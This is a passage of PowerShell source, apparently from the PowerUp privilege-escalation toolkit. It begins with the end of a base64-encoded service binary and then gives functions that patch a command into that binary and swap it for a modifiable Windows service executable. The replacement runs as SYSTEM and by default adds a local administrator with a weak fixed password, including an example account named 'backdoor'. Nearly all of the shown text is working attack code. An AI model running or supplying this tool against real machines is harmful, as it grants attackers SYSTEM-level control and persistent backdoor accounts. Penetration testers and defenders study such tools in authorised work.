AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAA9jAG0AZAAuAGUAeABlAABwlQEkfW6TS5S/gwmLKZ5MAAiwP19/EdUKOgi3elxWGTTgiQMGEg0EIAEBAgMgAAEFIAEBHQ4DAAABBCABAQ4FIAEBEUkEIAEBCAMgAA4GAAISYQ4OBAABAQgDBwEOBgABAR0SBQgHAh0SBR0SBQwBAAdVcGRhdGVyAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE1AAApAQAkN2NhMWIzMmEtOWMzNy00MTViLWJkOWYtZGRmNDE5OWUxNmVjAAAMAQAHMS4wLjAuMAAAZQEAKS5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC4wLFByb2ZpbGU9Q2xpZW50AQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZR8uTkVUIEZyYW1ld29yayA0IENsaWVudCBQcm9maWxlCAEAAgAAAAAACAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQAAAAAA0zU/VQAAAAACAAAAWgAAAGxpAABsSwAAUlNEU96HoAZJqgNGhaplF41X24IDAAAAQzpcVXNlcnNcbGFiXERlc2t0b3BcVXBkYXRlcjJcVXBkYXRlclxvYmpceDg2XFJlbGVhc2VcVXBkYXRlci5wZGIAAADwaQAAAAAAAAAAAAAOagAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoAAAAAAAAAAAAAAAAAAAAAX0NvckV4ZU1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACABAAAAAgAACAGAAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAFAAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAGgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAACggAAAoAIAAAAAAAAAAAAAQIMAAOoBAAAAAAAAAAAAAKACNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsAQAAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAADcAQAAAQAwADAAMAAwADAANABiADAAAAA4AAgAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAVQBwAGQAYQB0AGUAcgAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAADgADAABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAVQBwAGQAYQB0AGUAcgAuAGUAeABlAAAASAASAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAAIAAyADAAMQA1AAAAQAAMAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAFUAcABkAGEAdABlAHIALgBlAHgAZQAAADAACAABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAVQBwAGQAYQB0AGUAcgAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAO+7vzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4NCjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4NCiAgPGFzc2VtYmx5SWRlbnRpdHkgdmVyc2lvbj0iMS4wLjAuMCIgbmFtZT0iTXlBcHBsaWNhdGlvbi5hcHAiLz4NCiAgPHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjIiPg0KICAgIDxzZWN1cml0eT4NCiAgICAgIDxyZXF1ZXN0ZWRQcml2aWxlZ2VzIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0iYXNJbnZva2VyIiB1aUFjY2Vzcz0iZmFsc2UiLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAgOgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
1974 [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary)
1975
1976 if($PSBoundParameters['Command']) {
1977 $ServiceCommand = $Command
1978 }
1979 else {
1980 if($PSBoundParameters['Credential']) {
1981 $UserNameToAdd = $Credential.UserName
1982 $PasswordToAdd = $Credential.GetNetworkCredential().Password
1983 }
1984 else {
1985 $UserNameToAdd = $UserName
1986 $PasswordToAdd = $Password
1987 }
1988
1989 if($UserNameToAdd.Contains('\')) {
1990 # only adding a domain user to the local group, no user creation
1991 $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
1992 }
1993 else {
1994 # create a local user and add it to the local specified group
1995 $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
1996 }
1997 }
1998 }
1999
2000 PROCESS {
2001
2002 $TargetService = Get-Service -Name $Name
2003
2004 # get the unicode byte conversions of all arguments
2005 $Enc = [System.Text.Encoding]::Unicode
2006 $ServiceNameBytes = $Enc.GetBytes($TargetService.Name)
2007 $CommandBytes = $Enc.GetBytes($ServiceCommand)
2008
2009 # patch all values in to their appropriate locations
2010 for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) {
2011 # service name offset = 2458
2012 $Binary[$i+2458] = $ServiceNameBytes[$i]
2013 }
2014 for ($i=0; $i -lt ($CommandBytes.Length); $i++) {
2015 # cmd offset = 2535
2016 $Binary[$i+2535] = $CommandBytes[$i]
2017 }
2018
2019 Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop
2020
2021 $Out = New-Object PSObject
2022 $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name
2023 $Out | Add-Member Noteproperty 'Path' $Path
2024 $Out | Add-Member Noteproperty 'Command' $ServiceCommand
2025 $Out
2026 }
2027}
2028
2029
2030function Install-ServiceBinary {
2031<#
2032 .SYNOPSIS
2033
2034 Replaces the service binary for the specified service with one that executes
2035 a specified command as SYSTEM.
2036
2037 Author: @harmj0y
2038 License: BSD 3-Clause
2039
2040 .DESCRIPTION
2041
2042 Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the
2043 current user can modify the associated service binary listed in the binPath. Backs up
2044 the original service binary to "OriginalService.exe.bak" in service binary location,
2045 and then uses Write-ServiceBinary to create a C# service binary that either adds
2046 a local administrator user or executes a custom command. The new service binary is
2047 replaced in the original service binary path, and a custom object is returned that
2048 captures the original and new service binary configuration.
2049
2050 .PARAMETER Name
2051
2052 The service name the EXE will be running under.
2053
2054 .PARAMETER UserName
2055
2056 The [domain\]username to add. If not given, it defaults to "john".
2057 Domain users are not created, only added to the specified localgroup.
2058
2059 .PARAMETER Password
2060
2061 The password to set for the added user. If not given, it defaults to "Password123!"
2062
2063 .PARAMETER LocalGroup
2064
2065 Local group name to add the user to (default of 'Administrators').
2066
2067 .PARAMETER Credential
2068
2069 A [Management.Automation.PSCredential] object specifying the user/password to add.
2070
2071 .PARAMETER Command
2072
2073 Custom command to execute instead of user creation.
2074
2075 .EXAMPLE
2076
2077 PS C:\> Install-ServiceBinary -Name VulnSVC
2078
2079 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2080 for VulnSVC with one that adds a local Administrator (john/Password123!).
2081
2082 .EXAMPLE
2083
2084 PS C:\> Get-Service VulnSVC | Install-ServiceBinary
2085
2086 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2087 for VulnSVC with one that adds a local Administrator (john/Password123!).
2088
2089 .EXAMPLE
2090
2091 PS C:\> Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
2092
2093 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2094 for VulnSVC with one that adds TESTLAB\john to the Administrators local group.
2095
2096 .EXAMPLE
2097
2098 PS C:\> Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
2099
2100 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2101 for VulnSVC with one that adds a local Administrator (backdoor/Password123!).
2102
2103 .EXAMPLE
2104
2105 PS C:\> Install-ServiceBinary -Name VulnSVC -Command "net ..."
2106
2107 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2108 for VulnSVC with one that executes a custom command.
2109#>
2110
2111 Param(
2112 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
2113 [Alias('ServiceName')]
2114 [String]
2115 [ValidateNotNullOrEmpty()]
2116 $Name,
2117
2118 [String]
2119 $UserName = 'john',
2120
2121 [String]
2122 $Password = 'Password123!',
2123
2124 [String]
2125 $LocalGroup = 'Administrators',
2126
2127 [Management.Automation.PSCredential]
2128 $Credential,
2129
2130 [String]
2131 [ValidateNotNullOrEmpty()]
2132 $Command
2133 )
2134
2135 BEGIN {
2136 if($PSBoundParameters['Command']) {
2137 $ServiceCommand = $Command
2138 }
2139 else {
2140 if($PSBoundParameters['Credential']) {
2141 $UserNameToAdd = $Credential.UserName
2142 $PasswordToAdd = $Credential.GetNetworkCredential().Password
2143 }
2144 else {
2145 $UserNameToAdd = $UserName
2146 $PasswordToAdd = $Password
2147 }
2148
2149 if($UserNameToAdd.Contains('\')) {
2150 # only adding a domain user to the local group, no user creation
2151 $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
2152 }
2153 else {
2154 # create a local user and add it to the local specified group
2155 $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
2156 }
2157 }
2158 }
2159
2160 PROCESS {
2161
2162 $TargetService = Get-Service -Name $Name
2163
2164 $ServiceDetails = $TargetService | Get-ServiceDetail
2165
2166 $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths
2167
2168 if(-not $ModifiableFiles) {
2169 throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."
2170 }
2171
2172 $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
2173 $BackupPath = "$($ServicePath).bak"
2174
2175 Write-Verbose "Backing up '$ServicePath' to '$BackupPath'"
2176
2177 try {
2178 Copy-Item -Path $ServicePath -Destination $BackupPath -Force
2179 }
2180 catch {
2181 Write-Warning "Error backing up '$ServicePath' : $_"
2182 }
2183
2184 $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath
2185 $Result | Add-Member Noteproperty 'BackupPath' $BackupPath
